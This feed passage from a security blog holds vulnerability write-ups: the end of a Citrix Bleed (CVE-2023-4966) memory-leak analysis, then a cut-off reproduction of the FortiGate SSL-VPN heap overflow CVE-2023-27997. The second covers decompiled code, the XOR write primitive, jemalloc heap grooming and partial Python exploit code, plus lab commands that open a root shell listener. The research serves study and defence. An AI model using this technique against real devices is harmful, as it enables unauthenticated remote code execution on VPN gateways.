\&quot;https://%.*s/oauth/idp/token\&quot;, \&quot;jwks_uri\&quot;: \&quot;h&quot;</span></span><br><span class="line">                                      <span class="string">&quot;ttps://%.*s/oauth/idp/certs\&quot;, \&quot;response_types_supported\&quot;: [\&quot;code\&quot;, \&quot;token\&quot;,&quot;</span></span><br><span class="line">                                      <span class="string">&quot; \&quot;id_token\&quot;], \&quot;id_token_signing_alg_values_supported\&quot;: [\&quot;RS256\&quot;], \&quot;end_sess&quot;</span></span><br><span class="line">                                      <span class="string">&quot;ion_endpoint\&quot;: \&quot;https://%.*s/oauth/idp/logout\&quot;, \&quot;frontchannel_logout_supported&quot;</span></span><br><span class="line">                                      <span class="string">&quot;\&quot;: true, \&quot;scopes_supported\&quot;: [\&quot;openid\&quot;, \&quot;ctxs_cc\&quot;], \&quot;claims_supported\&quot;: [&quot;</span></span><br><span class="line">                                      <span class="string">&quot;\&quot;sub\&quot;, \&quot;iss\&quot;, \&quot;aud\&quot;, \&quot;exp\&quot;, \&quot;iat\&quot;, \&quot;auth_time\&quot;, \&quot;acr\&quot;, \&quot;amr\&quot;, \&quot;em&quot;</span></span><br><span class="line">                                      <span class="string">&quot;ail\&quot;, \&quot;given_name\&quot;, \&quot;family_name\&quot;, \&quot;nickname\&quot;], \&quot;userinfo_endpoint\&quot;: \&quot;ht&quot;</span></span><br><span class="line">                                      <span class="string">&quot;tps://%.*s/oauth/idp/userinfo\&quot;&#125;&quot;</span>,</span><br><span class="line">......</span><br><span class="line">                        hostname);</span><br><span class="line">  authv2_json_resp = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)ns_vpn_send_response(a1, <span class="number">0x100040</span>LL, print_temp_rule, want_to_write_len) )</span><br><span class="line">  &#123;</span><br></pre></td></tr></table></figure><p>这里可以看到，snprintf函数被用于将hostname参数拼接到print_temp_rule变量中，并根据返回的长度，通过ns_vpn_send_response函数返回HTTP请求的结果。这种对snprintf的使用方法是一个常见的错误。这里的hostname参数是由 HTTP 请求中的 Host 头决定的,因此这个参数的长度我们是完全可以控制的。这让我想到一个长亭之前发布的一篇经典文章 <a href="https://zhuanlan.zhihu.com/p/26271959">实战栈溢出：三个漏洞搞定一台路由器</a>。也是使用snprintf 从缓冲区泄漏内存。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-10-24-2fe3d848035af324ca8bae785143a63e-8711d2.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-10-24-2fe3d848035af324ca8bae785143a63e-8711d2.png" alt="image.png"></a></p><p>总结一下就是， snprintf 这个函数应该返回的是 ”想要写入buffer 的字符串长度“ ， 而不是实际写入buffer的字符长长度。可以从一个 DEMO 看出这个效果：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">➜  Desktop cat test.c</span><br><span class="line">int <span class="function"><span class="title">main</span></span>() &#123;</span><br><span class="line">    char buf[8];</span><br><span class="line">    memset(buf,0,8);</span><br><span class="line">    int n1 = snprintf(buf, 8, <span class="string">&quot;%s&quot;</span>, <span class="string">&quot;aaa&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;buf: %s\n&quot;</span>, buf);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;n1: %d\n&quot;</span>, n1);</span><br><span class="line">    memset(buf,0,8);</span><br><span class="line">    int n2 = snprintf(buf, 8, <span class="string">&quot;%s&quot;</span>, <span class="string">&quot;aaaabbbbccccdddd&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;buf: %s\n&quot;</span>, buf);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;n2: %d\n&quot;</span>, n2);</span><br><span class="line">&#125;</span><br><span class="line">➜  Desktop ./a.out</span><br><span class="line">buf: aaa</span><br><span class="line">n1: 3</span><br><span class="line">buf: aaaabbb</span><br><span class="line">n2: 16</span><br></pre></td></tr></table></figure><p>可以看到，当我想写入 16长度的字符串的时候， n2的值为 16， 而不是实际写入的长度。 </p><blockquote><p>The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte (’\0’))</p></blockquote><p>PoC：</p><p>具体一样长度能不能泄漏出 token ， 看起来和版本还是有关系的，至少我这个版本在 <a href="https://raw.githubusercontent.com/assetnote/exploits/main/citrix/CVE-2023-4966/exploit.py">CVE-2023-4966</a>这个利用中是打不出来的。应该和不同缓冲区的大小不一样?猜测的,具体我就不进一步调试了。</p><p>另外到达这个函数的路由，通过对这个函数 <code>ns_aaa_oauth_send_openid_config</code> 进行交叉引用一下子就看到了：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-10-24-eccaaad8f179b9f13f8bf38ecc9698c8-ca5187.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-10-24-eccaaad8f179b9f13f8bf38ecc9698c8-ca5187.png" alt="image.png"></a></p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><p><a href="https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966">Citrix Bleed: Leaking Session Tokens with CVE-2023-4966</a><br><a href="https://zhuanlan.zhihu.com/p/26271959">实战栈溢出：三个漏洞搞定一台路由器</a></p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="cve-2023-4966" scheme="https://bestwing.me/tags/cve-2023-4966/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2023-27997-FortiGate-SSLVPN-HeapOverflow</title>
    <link href="https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html"/>
    <id>https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html</id>
    <published>2023-09-20T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.188Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>由于<code>CVE-2023-27997</code> 漏洞的影响比较大，所以我一直没有公开这篇博客， 但是距离该漏洞公开已经差不多过去了三个月了， 公网的设备应该都修的差不多了吧， 因此这里可以大家分享一下当时我和@leommxj 一起复现该漏洞的笔记。</p><p>更具体的漏洞细节可以参考这篇文章： <a href="https://blog.lexfo.fr/xortigate-cve-2023-27997.html">Pre-authentication Remote Code Execution on Fortigate VPN </a>, 而我这里分析版本依旧是 7.2.2</p><h2 id="漏洞环境搭建"><a href="#漏洞环境搭建" class="headerlink" title="漏洞环境搭建"></a>漏洞环境搭建</h2><p>参考可以参考我上一篇文章 《CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow》</p><p>在调试的时候 ， 找 @leommxj 和 @explorer 帮我配置了网络环境， 一开始用的是 gdb + vmware 的调试方法，后面改用 gdbserver + gdb 的方法了， 由于 fortigate 的防火墙原因，我们复用了 22 端口 和23 端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kill -9 $(pidof sshd) &amp;&amp; .&#x2F;busybox_TELNETD -b 0.0.0.0:22 -l &#x2F;bin&#x2F;sh</span><br><span class="line">kill -9 $(pidof telnetd) &amp;&amp; .&#x2F;gdbserver 0.0.0.0:23 --attach  $(pidof sslvpnd)</span><br></pre></td></tr></table></figure><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>当我们向 fortigate sslvpn 发送一个 <code>enc</code> 的 HTTP 参数的时候, 会进到一个 <code>parse_enc_data</code> 的函数逻辑里. </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-8b343fc31d4a504a4d459250587a38e4-447367.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-8b343fc31d4a504a4d459250587a38e4-447367.png" alt="image.png"></a></p><p>另外这个 <code>enc</code> 处理的 URI 有很多可以进来, 包括 <code>/remote/hostcheck_validate</code>  以及 ^[1] 提到的 <code>/remote/logincheck</code> , 具体 URI 的选择,我们后文接着会提到 。这里接着分析  <code>parse_enc_data</code> 函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">parse_enc_data</span><span class="params">(__int64 a1, __int64 *pool, <span class="keyword">const</span> <span class="keyword">char</span> *in)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="comment">// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-&quot;+&quot; TO EXPAND]</span></span><br><span class="line"></span><br><span class="line">  v30 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  v4 = <span class="built_in">strlen</span>(in);                              <span class="comment">// in (enc) : AA BB CC DD  XX XX HACKED HACKED ...</span></span><br><span class="line">                                                <span class="comment">//               SEED      SIZE     CIPHERTEXT</span></span><br><span class="line">  int_len = v4;</span><br><span class="line">  lenOfData = v4;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="keyword">int</span>)v4 &lt;= <span class="number">11</span> || (v4 &amp; <span class="number">1</span>) != <span class="number">0</span> )         <span class="comment">// enc 的长度要大于11, 且偶数</span></span><br><span class="line">  &#123;</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先进到函数里， 会先判断 <code>enc</code> 参数的值是否长度大于11, 且偶数 。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">MD5Data(salt, (__int64)in, <span class="number">8</span>, (__int64)md5);</span><br><span class="line">out = (__int16 *)alignedAlloc(*pool, (int_len &gt;&gt; <span class="number">1</span>) + <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>当符合要求后， 会以长度的 1/2 的大小分配一个 buffer , 然后中间会经过一些数据处理，然后到达另外一个 check</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">out = decodedData_ + <span class="number">2</span>;</span><br><span class="line">xored_given_len = decodedData_[<span class="number">2</span>];</span><br><span class="line">given_len = (<span class="keyword">unsigned</span> __int8)(xored_given_len ^ md5[<span class="number">0</span>]);</span><br><span class="line">BYTE1(given_len) = md5[<span class="number">1</span>] ^ HIBYTE(xored_given_len);</span><br><span class="line">payloadLength = (<span class="keyword">unsigned</span> __int8)(xored_given_len ^ md5[<span class="number">0</span>]);<span class="comment">// 检查大小</span></span><br><span class="line"><span class="keyword">if</span> ( int_len - <span class="number">5</span> &lt;= payloadLength )</span><br><span class="line">&#123;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  v17 = decodedData_ + <span class="number">3</span>;</span><br><span class="line">  out = v17;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int8)xored_given_len != md5[<span class="number">0</span>] )</span><br><span class="line">  &#123;</span><br><span class="line">    v18 = (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(payloadLength - <span class="number">1</span>);</span><br><span class="line">    i = <span class="number">0LL</span>;</span><br><span class="line">    v20 = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      *((_BYTE *)v17 + i) ^= md5[v20];    <span class="comment">// bof</span></span><br><span class="line">      <span class="keyword">if</span> ( v18 == i )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v20 = ((_BYTE)i + <span class="number">3</span>) &amp; <span class="number">0xF</span>;</span><br><span class="line">      <span class="keyword">if</span> ( (((_BYTE)i + <span class="number">3</span>) &amp; <span class="number">0xF</span>) == <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        ...</span><br><span class="line">      &#125;</span><br><span class="line">      v17 = out;</span><br><span class="line">      ++i;</span><br><span class="line">    &#125;</span><br><span class="line">    v17 = (__int16 *)((<span class="keyword">char</span> *)out + (<span class="keyword">unsigned</span> __int16)given_len);</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>这里会将数据的长度（实际传入的长度 ） 和 <code>enc</code> 这个参数定义的 payload 的长度比较， 如果符合  <code>int_len - 5 &lt;= payloadLength</code> ， 即实际长度大于定义的长度， 即接着往下走。 注意这里会出现一个安全问题：</p><p>因为实际分配的buffer 的长度应该是实际长度的 1/2 ，而这里却是用原来的长度比较的，因此后面会发生溢出。但是这里的溢出的字节是一个 md5 异或, 这里会对我们后面的利用提出一点点的难度,但是作者却用了一个很巧妙的来完成 。</p><p>这里简单总结下这个函数和提炼下 <code>enc</code> 的结构, 首先 <code>enc</code> 参数是一个包含 seed、size（2 个字节）和数据的结构。大小和数据都是加密的。 大致就下图的样子.</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-f56028c12c14f7a25eea4f193cd88886-95ed7a.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-f56028c12c14f7a25eea4f193cd88886-95ed7a.png" alt="image.png"></a></p><p>seed 存储为 8 个十六进制字符，用于计算 XOR 密钥流的第一个状态：</p><p><code>S0 = MD5(salt|seed| &quot;GCC is the GNU Compiler Collection.&quot;)</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">MD5Data</span><span class="params">(<span class="keyword">char</span> *salt, __int64 enc, <span class="keyword">int</span> size, __int64 output)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">  <span class="title">MD5_Init</span><span class="params">(v8)</span></span>;</span><br><span class="line">  v6 = <span class="built_in">strlen</span>(salt);</span><br><span class="line">  MD5_Update(v8, salt, v6);</span><br><span class="line">  MD5_Update(v8, enc, size);</span><br><span class="line">  MD5_Update(v8, <span class="string">&quot;GCC is the GNU Compiler Collection.&quot;</span>, <span class="number">35LL</span>);</span><br><span class="line">  MD5_Final(output, v8);</span><br><span class="line">  <span class="keyword">return</span> v9 - __readfsqword(<span class="number">0</span>x</span><br></pre></td></tr></table></figure><p>这里的 <code>salt</code> 是由服务器创建的随机值, 可以通过 <code>GET /remote/info HTTP/1.1</code> 获取到 </p><p>密钥流的其他状态计算如下：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-ba186e829988f5da44acd8c00a454950-121174.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-ba186e829988f5da44acd8c00a454950-121174.png" alt="image.png"></a><br>函数行为:</p><ol><li>计算 MD5（16 字节），这是来自盐和种子的密钥的第一个状态（in 的前 8 个字符）</li><li>分配大小为 in_len / 2 + 1、out 和十六进制解码输入的缓冲区</li><li>通过将有效负载的前两个字节与密钥的前两个字节进行异或运算，计算用户给定的长度 given_len</li><li>边界检查：验证给定的长度不大于缓冲区的大小</li><li>就地解密整个字符串：对前 14 个字节进行 XOR，然后计算一个新状态 𝐾 1个 ，用它对接下来的 16 个字节进行异或，然后重复。</li><li>在解密数据的末尾放置一个 NULL 字节</li><li>当程序检查给定长度不大于发送的有效负载的长度时，它会将 in_len 与 given_len 进行比较。但是，前者以十六进制描述有效负载的长度（例如“41424343”），而后者以原始字节描述其大小（例如“ABCD”）。因此，given_len 可以是它应该的两倍大。因此造成了溢出</li></ol><blockquote><p>这里稍微吐槽一下， IDA 的反编译错误导致很多文章对该漏洞的产生原因的描述有些错误</p><p><a href="https://twitter.com/bestswngs/status/1670709186509045761">wrong results of Hex-Rays</a></p></blockquote><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><h3 id="利用原语"><a href="#利用原语" class="headerlink" title="利用原语"></a>利用原语</h3><p>首先第一个问题是我们最终选择了  <code>/remote/hostcheck_validate</code>   来做漏洞的触发, 由于漏洞利用原因需要多次请求, 我们如果使用了 <code>/remote/logincheck</code>  容易触发 <code>login-attempt-limit</code> 的限制, 这个默认限制为 2</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-3c579214a9d839b632cc6a248fc70f20-30b511.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-3c579214a9d839b632cc6a248fc70f20-30b511.png" alt="image.png"></a></p><p>接着就是利用原语的问题, 这里直接采用了作者提供的方法 ^[2]</p><p>大致的核心原理就是使用两次异或, 这样就不会让前面的数值发生混乱.</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-96cdc2cf4791a8f7e3aae65753ebd0d8-e97ee9.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-96cdc2cf4791a8f7e3aae65753ebd0d8-e97ee9.png" alt="image.png"></a></p><p>假设我们要修改 5000偏移的值为 0xff , . 那么我们要溢出两次, 第一次将长度设置为 4999 , 此时溢出结束后会将 5000 位置的值写成 0 , 紧接着第二次用我们计算好的 seed  通过 <code>0xff ^ 0 </code>的方式 , 将5000位置设置成 0xff </p><p>按照作者说明就是：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-4e0284df44bd40b0e419b74bfced6499-4446fa.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-4e0284df44bd40b0e419b74bfced6499-4446fa.png" alt="image.png"></a></p><h3 id="堆布局"><a href="#堆布局" class="headerlink" title="堆布局"></a>堆布局</h3><p>我们的目标是去溢出覆盖 SSL 结构中的 <code>handshake_func</code> 指针， 这利用是参考的 orange 当时的一个博客 ^[3]</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">SSL_do_handshake</span><span class="params">(SSL *s)</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">     <span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line">     s-&gt;method-&gt;ssl_renegotiate_check(s, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">     <span class="keyword">if</span> (SSL_in_init(s) || SSL_in_before(s)) &#123;</span><br><span class="line">         <span class="keyword">if</span> ((s-&gt;mode &amp; SSL_MODE_ASYNC) &amp;&amp; ASYNC_get_current_job() == <span class="literal">NULL</span>) &#123;</span><br><span class="line">             <span class="class"><span class="keyword">struct</span> <span class="title">ssl_async_args</span> <span class="title">args</span>;</span></span><br><span class="line"></span><br><span class="line">             args.s = s;</span><br><span class="line"></span><br><span class="line">             ret = ssl_start_async_job(s, &amp;args, ssl_do_handshake_intern);</span><br><span class="line">         &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">             ret = s-&gt;handshake_func(s);</span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="keyword">return</span> ret;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>SSL 结构体如下 ^[4]:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ssl_st</span> &#123;</span></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,</span></span><br><span class="line"><span class="comment">     * DTLS1_VERSION)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">int</span> version;</span><br><span class="line">    <span class="comment">/* SSLv3 */</span></span><br><span class="line">    <span class="keyword">const</span> SSL_METHOD *method;</span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * There are 2 BIO&#x27;s even though they are normally both the same.  This</span></span><br><span class="line"><span class="comment">     * is so data can be read and written to different handlers</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="comment">/* used by SSL_read */</span></span><br><span class="line">    BIO *rbio;</span><br><span class="line">    <span class="comment">/* used by SSL_write */</span></span><br><span class="line">    BIO *wbio;</span><br><span class="line">    <span class="comment">/* used during session-id reuse to concatenate messages */</span></span><br><span class="line">    BIO *bbio;</span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * This holds a variable that indicates what we were doing when a 0 or -1</span></span><br><span class="line"><span class="comment">     * is returned.  This is needed for non-blocking IO so we know what</span></span><br><span class="line"><span class="comment">     * request needs re-doing when in SSL_accept or SSL_connect</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">int</span> rwstate;</span><br><span class="line">    <span class="keyword">int</span> (*handshake_func) (SSL *);</span><br></pre></td></tr></table></figure><p>那这的问题就是转化为， 我们如何稳定的将 <code>out</code> 这个缓冲区放置在  SSL 结构体的缓冲区前面， 这样溢出的时候我们才能覆盖到。这里我们参考了部分作者的思路， 在我们这个测试版本中，  SSL 结构的大小为 0x1db8 字节， 他将分配在 0x2000  的缓冲区内 。 另外提一句这里的堆分配器用的是 jemalloc  ， 符合一些后进先出的规则，因此我们的最终思路大概就是：</p><p>我们用了 gdb 设置当前 PC 为 <code>je_malloc_stats_print</code> 函数地址，打印当前 <code>jemalloc</code> 的分配情况</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-d1f8e940e7046fe389e9ecf78392c333-9e4181.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-d1f8e940e7046fe389e9ecf78392c333-9e4181.png" alt="image.png"></a></p><p>可以发现默认情况下 <code>0x2000</code> 这么的大的内存是不会怎么使用到的， 因此我们只需要先分配几次 （这里使用 10 次 ）分配0x2000 的 buffer，然后释放掉让这连续的内存进入到链表里，方便后面利用的时候让 out 的缓冲区在 ssl 结构体前面。这里的分配原理是通过一个请求给一个解析POST参数的网页 ， 在这个请求中，发送了POST key-value对， 其中sizeof(key) = sizeof(struct_ssl) - 0x18 - 0x10 而sizeof(value)=0 ， 例如我们发送一个</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST &#x2F;remote&#x2F;hostcheck_validate HTTP&#x2F;1.1</span><br><span class="line"></span><br><span class="line">A*(sizeof(struct_ssl) - 0x18 - 0x10)&#x3D;&amp;</span><br></pre></td></tr></table></figure><p>这样理想情况下会分分配一个如下的内存：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-ce0846e872e41e303b2eca5ef364df90-704e11.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-ce0846e872e41e303b2eca5ef364df90-704e11.png" alt="image.png"></a></p><p>有三个 <code>AAAA</code> 的内存原因是在解析POST数据的时候，程序会这么做：拿到整个POSTDATA缓冲区（例如a=b&amp;c=d&amp;e=f），然后提取出’&amp;’之前的内容，并把它存储在一个新的块里（那是1个分配）。然后，拿到’=’之前的内容，并把它存储在一个新的块里（两个分配）。然后，它将键和值存储在一个全局哈希映射中，这会导致产生第三个分配</p><p>这里为了方便观察分配的情况， 我们还可以用到 gdb 的commands 和 logging 功能。大致就是在 <code>je_malloc</code> 分配结束后下断</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;.text:0000000001776C85 E8 D6 5A CC+                call    _je_malloc</span><br><span class="line">&#x2F;&#x2F;.text:0000000001776C8A 49 89 C4                    mov     r12, rax</span><br><span class="line">break *0x1776C8A </span><br><span class="line">commands 1</span><br><span class="line">set logging file ssl_chunk.txt</span><br><span class="line">set logging enable on</span><br><span class="line">p&#x2F;x $rax</span><br><span class="line">set logging enable off</span><br><span class="line">continue</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>我们尽量让其分配的时候是连续的内存：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-bc72ef0094686857032b3a9e058315e3-c9a332.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-06-19-bc72ef0094686857032b3a9e058315e3-c9a332.png" alt="image.png"></a></p><p>当然在实际环境中可能有其他的干扰，因此我们可以多分配几次 ，例如我上个版本的利用是分配了 <code>301</code> 次， 然后在这几个 sock 都close掉让其释放。我这部分代码如下。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">heap_layout</span>(<span class="params">IP, port</span>):</span></span><br><span class="line">    <span class="comment"># heap layout</span></span><br><span class="line">    payload = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">import</span> string</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> string.printable[:<span class="number">10</span>]:</span><br><span class="line">        payload += i*(size) + <span class="string">&#x27;=&amp;&#x27;</span></span><br><span class="line"></span><br><span class="line">    sock = make_ssl_socket(IP, port, if_warp=<span class="literal">True</span>)</span><br><span class="line">    sock = set_heap_fengshui(sock, payload)</span><br><span class="line">    sock.close()</span><br></pre></td></tr></table></figure><p>这样之后，我们需要创建两个 sock  ， 代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span 